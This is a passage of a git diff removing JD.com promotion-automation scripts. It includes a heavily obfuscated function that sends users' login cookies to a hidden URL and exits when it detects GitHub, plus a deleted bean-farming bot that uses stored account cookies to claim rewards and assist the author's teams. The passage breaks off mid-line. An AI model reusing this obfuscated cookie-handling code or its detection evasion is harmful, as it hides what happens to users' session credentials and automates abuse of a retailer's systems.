_0xd9e0d2===_0x1a14eb;},'THrXv':_0x5104('1b4','a7OV'),'mGUDm':_0x5104('1b5','ao5M'),'brKWK':_0x5104('1b6','Hrkv'),'qCaVm':_0x5104('1b7','l7cY'),'iSyPB':_0x5104('1b8','l7cY'),'CjwgV':_0x5104('1b9','UAL!'),'wShxk':_0x5104('1ba','2jmD'),'vTyFB':_0x5104('1bb','yS!u'),'WmWst':_0x5104('1bc','YHml')};return new Promise(async _0x5ada5f=>{var _0x5bfe15={'RKtqA':_0x91648d[_0x5104('1bd','b9D7')],'Wnzsz':_0x91648d[_0x5104('1be','xN7K')]};if(_0x91648d[_0x5104('1bf','yS!u')](_0x91648d[_0x5104('1c0','Aqd^')],_0x91648d[_0x5104('1c1','TnkI')])){const _0x501bd6={'url':_0x5104('1c2','Gv%S'),'headers':{'Accept':_0x91648d[_0x5104('1c3','U#UB')],'Content-Type':_0x91648d[_0x5104('1c4','i8%)')],'Accept-Encoding':_0x91648d[_0x5104('1c5','U4Xo')],'Accept-Language':_0x91648d[_0x5104('1c6','l7cY')],'Connection':_0x91648d[_0x5104('1c7','xeT2')],'Cookie':cookie,'Referer':_0x91648d[_0x5104('1c8','aFT9')],'User-Agent':$[_0x5104('0','Nfin')]()?process[_0x5104('1c9','U#UB')][_0x5104('1ca','xG6!')]?process[_0x5104('1cb','i8%)')][_0x5104('1cc','DFxo')]:_0x91648d[_0x5104('1cd','$GFC')]:$[_0x5104('1ce','gP@$')](_0x91648d[_0x5104('1cf','k!v4')])?$[_0x5104('1d0','RUq)')](_0x91648d[_0x5104('1d1','l%@a')]):_0x91648d[_0x5104('1d2','U#UB')]}};$[_0x5104('1d3','v2Do')](_0x501bd6,(_0x51e139,_0x45f2fc,_0x3b45ca)=>{var _0x2e0d74={'oYGxX':function(_0x16b62c,_0x54aa82){return _0x91648d[_0x5104('1d4','DFxo')](_0x16b62c,_0x54aa82);},'KDmya':_0x91648d[_0x5104('1d5','8znP')],'Pdhih':function(_0x25ddcc,_0xb7c63a){return _0x91648d[_0x5104('1d6','DFxo')](_0x25ddcc,_0xb7c63a);},'CiQHY':_0x91648d[_0x5104('1d7','ao5M')],'YXeUS':function(_0x243d44){return _0x91648d[_0x5104('1d8','k!v4')](_0x243d44);},'kWeKW':function(_0x38d80e,_0x345674){return _0x91648d[_0x5104('1d9','DCck')](_0x38d80e,_0x345674);}};if(_0x91648d[_0x5104('1da','JqL1')](_0x91648d[_0x5104('1db','2jmD')],_0x91648d[_0x5104('1dc','yS!u')])){Object[_0x5104('1dd','O@D[')](jdCookieNode)[_0x5104('1de','RUq)')](_0x9d0d29=>{cookiesArr[_0x5104('1df','@nbV')](jdCookieNode[_0x9d0d29]);});if(process[_0x5104('1e0','Hrkv')][_0x5104('1e1','DFxo')]&&_0x2e0d74[_0x5104('1e2','DCck')](process[_0x5104('162','xG6!')][_0x5104('7','gP@$')],_0x2e0d74[_0x5104('1e3','TKCI')]))console[_0x5104('1e4','i8%)')]=()=>{};if(_0x2e0d74[_0x5104('1e5','2jmD')](JSON[_0x5104('113','l7cY')](process[_0x5104('1e6','U4Xo')])[_0x5104('1e7','Bl4V')](_0x2e0d74[_0x5104('1e8','ao5M')]),-0x1)){process[_0x5104('1e9','*rlg')](0x0);}}else{try{if(_0x51e139){if(_0x91648d[_0x5104('1ea','aFT9')](_0x91648d[_0x5104('1eb','eS#*')],_0x91648d[_0x5104('1ec','i9hN')])){_0x2e0d74[_0x5104('1ed','yS!u')](_0x5ada5f);}else{console[_0x5104('9','xN7K')](''+JSON[_0x5104('1ee','TKCI')](_0x51e139));console[_0x5104('1ef','k!v4')]($[_0x5104('1f0','2jmD')]+_0x5104('1f1','eS#*'));}}else{if(_0x91648d[_0x5104('1f2','XSyJ')](_0x91648d[_0x5104('1f3','l%@a')],_0x91648d[_0x5104('1f4','i8%)')])){if(_0x3b45ca){_0x3b45ca=JSON[_0x5104('1f5','JqL1')](_0x3b45ca);if(_0x91648d[_0x5104('1f6','gZtA')](_0x3b45ca[_0x91648d[_0x5104('1f7','(1l7')]],0xd)){$[_0x5104('1f8','O@D[')]=![];return;}if(_0x91648d[_0x5104('1f9','VQda')](_0x3b45ca[_0x91648d[_0x5104('1fa','*rlg')]],0x0)){if(_0x91648d[_0x5104('1fb','[qOf')](_0x91648d[_0x5104('1fc','ao5M')],_0x91648d[_0x5104('1fd','GGq8')])){ids[_0x2e0d74[_0x5104('1fe','U#UB')](String,i)]=codeItem;}else{$[_0x5104('1ff','gP@$')]=_0x3b45ca[_0x91648d[_0x5104('200','krRM')]]&&_0x3b45ca[_0x91648d[_0x5104('201','UOrG')]][_0x5104('202','UOrG')]||$[_0x5104('203','UAL!')];}}else{if(_0x91648d[_0x5104('204','xG6!')](_0x91648d[_0x5104('205','b9D7')],_0x91648d[_0x5104('206','$GFC')])){$[_0x5104('ad','@nbV')](_0x5104('207','Nfin'));return;}else{$[_0x5104('208','TKCI')]=$[_0x5104('209','*rlg')];}}}else{if(_0x91648d[_0x5104('20a','U4Xo')](_0x91648d[_0x5104('20b',')RH!')],_0x91648d[_0x5104('20c','Gv%S')])){console[_0x5104('10f','xG6!')](''+JSON[_0x5104('20d','*rlg')](_0x51e139));console[_0x5104('20e','O@D[')]($[_0x5104('84','U4Xo')]+_0x5104('20f','i8%)'));}else{console[_0x5104('70','XSyJ')](_0x5104('210','Hrkv'));}}}else{$[_0x5104('5e','TnkI')](_0x5104('211','TnkI'));return;}}}catch(_0x9019da){if(_0x91648d[_0x5104('212','(1l7')](_0x91648d[_0x5104('213','ZS#B')],_0x91648d[_0x5104('214','8yWt')])){$[_0x5104('215','k!v4')](_0x9019da,_0x45f2fc);}else{$[_0x5104('216','DCck')]($[_0x5104('217','eS#*')],_0x5bfe15[_0x5104('218','xN7K')],_0x5bfe15[_0x5104('219','eS#*')],{'open-url':_0x5bfe15[_0x5104('21a','*rlg')]});return;}}finally{_0x91648d[_0x5104('21b','YHml')](_0x5ada5f);}}});}else{$[_0x5104('21c','ao5M')]('','❌\x20'+$[_0x5104('21d','l%@a')]+_0x5104('21e','xN7K')+e+'!','');}});}function _0x154d96(_0x9dc722){var _0x443c1a={'NspQv':_0x5104('21f','gP@$'),'eGpYI':function(_0x5bbab7,_0x559680){return _0x5bbab7===_0x559680;},'UpusT':_0x5104('220','ao5M'),'GFSnN':function(_0x5b7ada,_0x99a201){return _0x5b7ada==_0x99a201;},'OPUrT':_0x5104('221','l%@a')};try{if(_0x443c1a[_0x5104('222','i8%)')](_0x443c1a[_0x5104('223','UAL!')],_0x443c1a[_0x5104('224','Bl4V')])){if(_0x443c1a[_0x5104('225','(1l7')](typeof JSON[_0x5104('226','U#UB')](_0x9dc722),_0x443c1a[_0x5104('227','xN7K')])){return!![];}}else{rras=$[_0x5104('164','UOrG')](_0x443c1a[_0x5104('228','gZtA')]);$[_0x5104('229','UOrG')](_0x5104('22a','DCck')+rras);}}catch(_0x12a19e){console[_0x5104('22b','l7cY')](_0x12a19e);console[_0x5104('70','XSyJ')](_0x5104('22c','xeT2'));return![];}}function _0x45775d(_0x4139e7){var _0xffc3ba={'SyXTU':function(_0x32c357,_0x4b9657){return _0x32c357!=_0x4b9657;},'FJQtK':function(_0x5ec063,_0x30daf6){return _0x5ec063<_0x30daf6;},'HYyVK':function(_0x301b37,_0x147640){return _0x301b37+_0x147640;},'WNQYl':function(_0x8afe65,_0x5ed94c,_0x47ffdb){return _0x8afe65(_0x5ed94c,_0x47ffdb);},'VhtxH':_0x5104('22d','a7OV'),'YXaGJ':function(_0x3d6824,_0x290f55){return _0x3d6824==_0x290f55;},'ozioD':_0x5104('22e','*rlg'),'PwXlp':function(_0x5959f6,_0x2f8746){return _0x5959f6===_0x2f8746;},'dfckc':_0x5104('22f','8znP'),'YDXTo':_0x5104('230','O@D['),'XhOOa':function(_0x431a44,_0x2eb801){return _0x431a44===_0x2eb801;},'ceAzI':_0x5104('231','RUq)'),'qzbLg':_0x5104('232','aFT9')};if(_0xffc3ba[_0x5104('233','v2Do')](typeof _0x4139e7,_0xffc3ba[_0x5104('234','xG6!')])){try{if(_0xffc3ba[_0x5104('235','DCck')](_0xffc3ba[_0x5104('236','ao5M')],_0xffc3ba[_0x5104('237','UAL!')])){if(_0xffc3ba[_0x5104('238','UAL!')](code[_0x5104('239','ao5M')]('-'),-0x1)){_0x1fff84=!![];let _0x44b356=code[_0x5104('49','v2Do')]()[_0x5104('23a','UAL!')](/-/g,'');var _0x10030c=_0x44b356[_0x5104('23b','ZS#B')]('')[_0x5104('23c','xG6!')]()[_0x5104('23d','RUq)')]('');var _0x1450d6=_0x10030c[_0x5104('23e','*rlg')];var _0x5e6c46;var _0x572ffa=[];for(var _0x4df6a8=0x0;_0xffc3ba[_0x5104('23f','VQda')](_0x4df6a8,_0x1450d6);_0x4df6a8=_0xffc3ba[_0x5104('240','67VH')](_0x4df6a8,0x2)){_0x5e6c46=_0xffc3ba[_0x5104('241','xG6!')](parseInt,_0x10030c[_0x5104('242','8znP')](_0x4df6a8,0x2),0x10);_0x572ffa[_0x5104('243','DCck')](String[_0x5104('244','(1l7')](_0x5e6c46));}return _0x572ffa[_0x5104('245','Bl4V')]('')[_0x5104('246','a7OV')](/#/g,'');}else{return code;}}else{return JSON[_0x5104('247','a7OV')](_0x4139e7);}}catch(_0x5471fe){if(_0xffc3ba[_0x5104('248','@nbV')](_0xffc3ba[_0x5104('249','krRM')],_0xffc3ba[_0x5104('24a',')RH!')])){try{return JSON[_0x5104('247','a7OV')](_0x4139e7);}catch(_0x594a55){console[_0x5104('24b','gZtA')](_0x594a55);$[_0x5104('24c','[qOf')]($[_0x5104('7b','Gv%S')],'',_0xffc3ba[_0x5104('24d','b9D7')]);return[];}}else{console[_0x5104('ad','@nbV')](_0x5471fe);$[_0x5104('24e','$GFC')]($[_0x5104('24f','$GFC')],'',_0xffc3ba[_0x5104('250','Gv%S')]);return[];}}}};_0xodO='jsjiami.com.v6'; - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_syj.js b/activity/jd_syj.js deleted file mode 100644 index 23724a3..0000000 --- a/activity/jd_syj.js +++ /dev/null @@ -1,852 +0,0 @@ -/* -赚京豆脚本,一:做任务 天天领京豆(加速领京豆) -Last Modified time: 2021-7-3 17:58:02 -活动入口:赚京豆(微信小程序)-赚京豆-签到领京豆 -更新地址:jd_syj.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#赚京豆 -10 0,7,23 * * * jd_syj.js, tag=赚京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_syj.png, enabled=true - -================Loon============== -[Script] -cron "10 0,7,23 * * *" script-path=jd_syj.js, tag=赚京豆 - -===============Surge================= -赚京豆 = type=cron,cronexp="10 0,7,23 * * *",wake-system=1,timeout=3600,script-path=jd_syj.js - -============小火箭========= -赚京豆 = type=cron,script-path=jd_syj.js, cronexpr="10 0,7,23 * * *", timeout=3600, enable=true - */ -const $ = new Env('赚京豆'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -$.tuanList = []; -$.authorTuanList = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.authorTuanList = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_zz.json'); - if (!$.authorTuanList) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_zz.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - $.authorTuanList = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_zz.json') || []; - } - const temp = await getAuthorShareCode('https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jd_zz.json') || [] - $.authorTuanList = [...$.authorTuanList,...temp] - // await getRandomCode(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main(); - } - } - console.log(`\n\n内部互助 【赚京豆(微信小程序)-瓜分京豆】活动(优先内部账号互助(需内部cookie数量大于${$.assistNum || 4}个),如有剩余助力次数则给作者和随机团助力)\n`) - for (let i = 0; i < cookiesArr.length; i++) { - $.canHelp = true - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if ($.canHelp && (cookiesArr.length > $.assistNum)) { - if ($.tuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,优先内部账号互助`) - for (let j = 0; j < $.tuanList.length; ++j) { - console.log(`账号 ${$.UserName} 开始给 【${$.tuanList[j]['assistedPinEncrypted']}】助力`) - await helpFriendTuan($.tuanList[j]) - if(!$.canHelp) break - await $.wait(200) - } - } - if ($.canHelp) { - $.authorTuanList = [...$.authorTuanList, ...($.body1 || [])]; - if ($.authorTuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,如有剩余则给作者和随机团助力`) - for (let j = 0; j < $.authorTuanList.length; ++j) { - console.log(`账号 ${$.UserName} 开始给作者和随机团 ${$.authorTuanList[j]['assistedPinEncrypted']}助力`) - await helpFriendTuan($.authorTuanList[j]) - if(!$.canHelp) break - await $.wait(200) - } - } - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(resolve => { - if (message) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} -async function main() { - try { - // await userSignIn();//赚京豆-签到领京豆 - // await vvipTask();//赚京豆-加速领京豆 - await distributeBeanActivity();//赚京豆-瓜分京豆 - await showMsg(); - } catch (e) { - $.logErr(e) - } -} -//================赚京豆-签到领京豆=================== -let signFlag = 0; -function userSignIn() { - return new Promise(resolve => { - const body = {"activityId":"ccd8067defcd4787871b7f0c96fcbf5c","inviterId":"","channel":"MiniProgram"}; - $.get(taskUrl('userSignIn', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - signFlag = 0; - console.log(`${$.name}今日签到成功`); - if (data.data) { - let { alreadySignDays, beanTotalNum, todayPrize, eachDayPrize } = data.data; - message += `【第${alreadySignDays}日签到】成功,获得${todayPrize.beanAmount}京豆 🐶\n`; - if (alreadySignDays === 7) alreadySignDays = 0; - message += `【明日签到】可获得${eachDayPrize[alreadySignDays].beanAmount}京豆 🐶\n`; - message += `【累计获得】${beanTotalNum}京豆 🐶`; - } - } else if (data.code === 81) { - console.log(`【签到】失败,今日已签到`) - // message += `【签到】失败,今日已签到`; - } else if (data.code === 6) { - //此处有时会遇到 服务器繁忙 导致签到失败,故重复三次签到 - $.log(`${$.name}签到失败${signFlag}:${data.msg}`); - if (signFlag < 3) { - signFlag ++; - await userSignIn(); - } - } else if (data.code === 66) { - //此处有时会遇到 服务器繁忙 导致签到失败,故重复三次签到 - $.log(`${$.name}签到失败:${data.msg}`); - message += `【签到】失败,${data.msg}`; - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//================赚京豆-加速领京豆=================== -async function vvipTask() { - try { - $.vvipFlag = false; - $.rewardBeanNum = 0; - await vvipscdp_raffle_auto_send_bean(); - await pg_channel_page_data(); - if (!$.vvipFlag) return - await vviptask_receive_list();//做任务 - await $.wait(1000) - await pg_channel_page_data(); - } catch (e) { - $.logErr(e) - } -} -function pg_channel_page_data() { - return new Promise(resolve => { - const body = {"paramData": {"token": "3b9f3e0d-7a67-4be3-a05f-9b076cb8ed6a"}}; - $.get(taskUrl('pg_channel_page_data', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['success']) { - if (data['data'] && data['data']['floorInfoList']) { - const floorInfo = data['data']['floorInfoList'].filter(vo => !!vo && vo['code'] === "SWAT_RED_PACKET_ACT_INFO")[0]; - if (floorInfo.hasOwnProperty('token') && floorInfo['floorData'].hasOwnProperty('userActivityInfo')) { - $.token = floorInfo['token']; - const { activityExistFlag, redPacketOpenFlag, redPacketRewardTakeFlag, beanAmountTakeMinLimit, currActivityBeanAmount } = floorInfo['floorData']['userActivityInfo']; - if (activityExistFlag) { - if (!redPacketOpenFlag) { - console.log(`【做任务 天天领京豆】 活动未开启,现在去开启此活动\n`) - await openRedPacket($.token); - } else { - if (currActivityBeanAmount < beanAmountTakeMinLimit) $.vvipFlag = true; - if (redPacketRewardTakeFlag) { - console.log(`【做任务 天天领京豆】 ${beanAmountTakeMinLimit}京豆已领取`); - } else { - if (currActivityBeanAmount >= beanAmountTakeMinLimit) { - //领取200京豆 - console.log(`【做任务 天天领京豆】 累计到${beanAmountTakeMinLimit}京豆可领取到京东账户\n【做任务 天天领京豆】当前进度:${currActivityBeanAmount}/${beanAmountTakeMinLimit}`) - console.log(`【做任务 天天领京豆】 当前已到领取京豆条件。开始领取京豆\n`); - await pg_interact_interface_invoke($.token); - } else { - console.log(`【做任务 天天领京豆】 累计到${beanAmountTakeMinLimit}京豆可领取到京东账户\n【做任务 天天领京豆】当前进度:${currActivityBeanAmount}/${beanAmountTakeMinLimit}`) - console.log(`【做任务 天天领京豆】 当前未达到领取京豆条件。开始做任务\n`); - await pg_channel_page_data(); - } - } - } - } else { - console.log(`【做任务 天天领京豆】 活动已下线`) - } - } - } - } else { - console.log(`pg_channel_page_data: ${data.message}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//抽奖 -function vvipscdp_raffle_auto_send_bean() { - const body = {"channelCode": "swat_system_id"} - const options = { - url: `${JD_API_HOST}api?functionId=vvipscdp_raffle_auto_send_bean&body=${escape(JSON.stringify(body))}&appid=lottery_drew&t=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://lottery.m.jd.com/", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - return new Promise((resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['success']) { - if (data.data && data.data['sendBeanAmount']) { - console.log(`【做任务 天天领京豆】 送成功:获得${data.data['sendBeanAmount']}京豆`) - $.rewardBeanNum += data.data['sendBeanAmount']; - } - } else { - console.log("【做任务 天天领京豆】 送京异常:" + data.message) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function vviptask_receive_list() { - $.taskData = []; - const body = {"channel":"SWAT_RED_PACKET","systemId":"19","withAutoAward":1} - const 